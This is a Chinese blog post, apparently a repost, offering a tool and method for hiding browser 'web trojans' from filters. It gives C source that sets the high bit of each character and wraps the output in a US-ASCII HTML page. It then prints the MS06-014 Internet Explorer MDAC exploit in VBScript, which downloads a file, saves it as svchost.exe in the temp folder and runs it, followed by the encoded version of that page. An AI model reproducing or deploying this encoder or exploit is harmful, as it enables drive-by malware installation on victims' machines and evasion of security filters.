html网马通用免杀

zoukankan html css js c++ java

html网马通用免杀

到国外几个网站看了几个牛人对这个漏洞的讨论，深有感触，写了个Exp，原理简单，高手飘过........ 例子:ascii.exe hack.txt >hack.htm 漏洞与服务器无关、与客户端浏览器有关，当前通吃，是ASCII当然不支持汉字了，得记住哦 */ #include <stdio.h> int main(int argc,char** argv) { FILE *fp; char ch; printf("\n-- Bypassing of web filters by using ASCII Exploit By CoolDiyer --\n"); if(argc<2){ printf("\nUsage: \n\t %s srcfile >destfile\n",argv[0]); return -1; } if((fp=fopen(argv[1],"r"))==NULL){ printf("File %s open Error",argv[1]); return -1; }//指定编码为US-ASCII是必须的 printf("\n<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=US-ASCII\" />\n<title>Bypassing of web filters by using ASCII Exploit By CoolDiyer</title>\n</head><body>\n"); while((ch=fgetc(fp))!=EOF){ ch|=0x80; //把7位变成8位，这句话是核心，呵呵 printf("%c",ch); }; fclose(fp); printf("\n</body></html>\n"); return -1; } _____________________________________________________________________________________ 用ms06014做例子，源码如下.............. _____________________________________________________________________________________ <html> <title>MS Internet Explorer (MDAC) Remote Code Execution Exploit (MS06-014)</title> <script language="VBScript"> on error resume next shell = " Set CAOc = document.createElement("object") CAOc.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" seturla="down" seturlb="file" seturlc="copy" seturld="exit" seturle="base" CAOi=" Microsoft.XMLHTTP" Set CAOd = CAOc.CreateObject(CAOi,"") seturlf="Ado" seturlg="db." seturlh="Str" seturli="eam" CAOf=seturlf&seturlg&seturlh&seturli CAOg=CAOf set CAOa = CAOc.createobject(CAOg,"") CAOa.type = 1 CAOh="GET" CAOd.Open CAOh, shell, False CAOd.Send CAO9="svchost.exe" set CAOb = CAOc.createobject("Scripting.FileSystemObject","") set CAOe = CAOb.GetSpecialFolder(2) CAOa.open CAO8="CAOa.BuildPath(CAOa,CAO8)" CAO7="CAOb.BuildPath(CAOb,CAO7)" CAO6="CAOc.BuildPath(CAOd,CAO6)" CAO5="CAOd.BuildPath(CAOf,CAO5)" CAO4="CAOe.BuildPath(CAOg,CAO4)" CAO3="CAOf.BuildPath(CAOh,CAO4)" CAO2="CAOg.BuildPath(CAOi,CAO3)" CAO1="CAOh.BuildPath(CAOg,CAO1)" CAO0="CAOi.BuildPath(CAOk,CAO0)" CAO9= CAOb.BuildPath(CAOe,CAO9) CAOa.write CAOd.responseBody CAOa.savetofile CAO9,2 CAOa.close set CAOe = CAOc.createobject("Shell.Application","") CAOe.ShellExecute CAO9,BBS,BBS,"open",0 </script> </html> _____________________________________________________________________________________ 加密后ascii.exe ie.htm >a.htm _____________________________________________________________________________________ <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=US-ASCII" /> <title>Bypassing of web filters by using ASCII Exploit By CoolDiyer</title> </head><body> 艰繇炀娂糸綮寰陀犐铘弪铄魻砒痨矧弪牗湍撩义盹翦犆镤鍫砒邈豸轱顮砒痨镩魻ㄍ影董氨穿集糸綮寰娂筱蜷痿犾犷珲徵褰⒅掠泸轲簪緤镱犲蝌矧狉弩蹴鍫铄婓桢祆牻牏梏麴函犭犰秭弪镲珈屦徵弩镯屙锂屮澧娪弭犆料銧綘滹沲礤铘蝈狒迮戾礤铘á镡赍泗ⅸ娒料惝箦袅趑蜷怩翦牏沆狍箝洧瑺祗殇郝墓睹档董兜脸蹦碍垢沉懊按泼补懦盯婓弭躜灬舰滹黝箦趱蜢饨㈡殪澧婓弭躜煦舰泔瘗箦趱蜢浣㈠簪婓弭躜戾舰忉箦昧祥舰烷泸矬镦舢赝倘栽孝娪弭犆料錉綘昧香蝈狒逑怅邈舁昧祥 ⅸ婓弭躜戽舰龄铫婓弭躜扃舰溻婓弭躜扈舰郁颌婓弭躜扉舰遽恝娒料娼箦趱蜢姒箦趱蜢绂箦趱蜢瑕箦趱蜢閵昧乡矫料鎶箦魻昧厢牻犆料惝泸遽翦镡赍泗料绗ⅱ 昧厢鍫綘眾昧翔舰桥寓娒料洚橡孱犆料璎狊桢祆瑺漆祗鍔昧箱孱鋳昧瞎舰篥汨矬舢屮澧婓弭犆料鉅綘昧香蝈狒屣怅邈舁⒂泸轲糸铉殪逵翦硐怅邈簪 ⅸ婓弭犆料鍫綘昧镶弭羽邈獒炱镬溴颞博娒料岙镳孱娒料附⒚料岙迈殪湫狒瑷昧厢料俯昧戏舰昧镶蹰熹嗅翳料猬昧戏娒料督⒚料惝迈殪湫狒瑷昧箱料订昧系舰昧箱蹰熹嗅翳料娆昧系娒料唇⒚料瀹迈殪湫狒瑷昧乡料穿昧铣舰昧湘蹰熹嗅翳料璎昧洗娒料步⒚料绠迈殪湫狒瑷昧祥料畅昧媳舰昧翔蹰熹嗅翳料绗昧媳娒料敖⒚料楫迈殪湫狒瑷昧想料癌昧瞎綘昧镶蹰熹嗅翳料瀣昧瞎昧厢蜷翦犆料洚蝈箴镱箦嘛澌娒料岙筢鲥麸骈戾犆料宫矈昧厢祜箦婓弭犆料鍫綘昧香蝈狒屣怅邈舁⒂桢祆痧扉汜糸镱 ⅱ 昧襄桢祆砒邈豸鍫昧瞎掠掠镳孱皧集筱蜷痿緤集梏盱? </body></html>

查看全文

相关阅读:
hdu 2881 Jack's struggle（DP）
[置顶] DataGridView控件---绑定数据方法
 Computational Geometry Template_Polygon
Max retries exceeded with url
Linux /proc 的意义
 [置顶] 生成树协议介绍
 StringBuffer与StringBuilder的异同
 linux 下Eclipse for C/C++的不常见设置
 [Elasticsearch] 分布式搜索
 oracle递归函数

原文地址：https://www.cnblogs.com/adodo1/p/4327696.html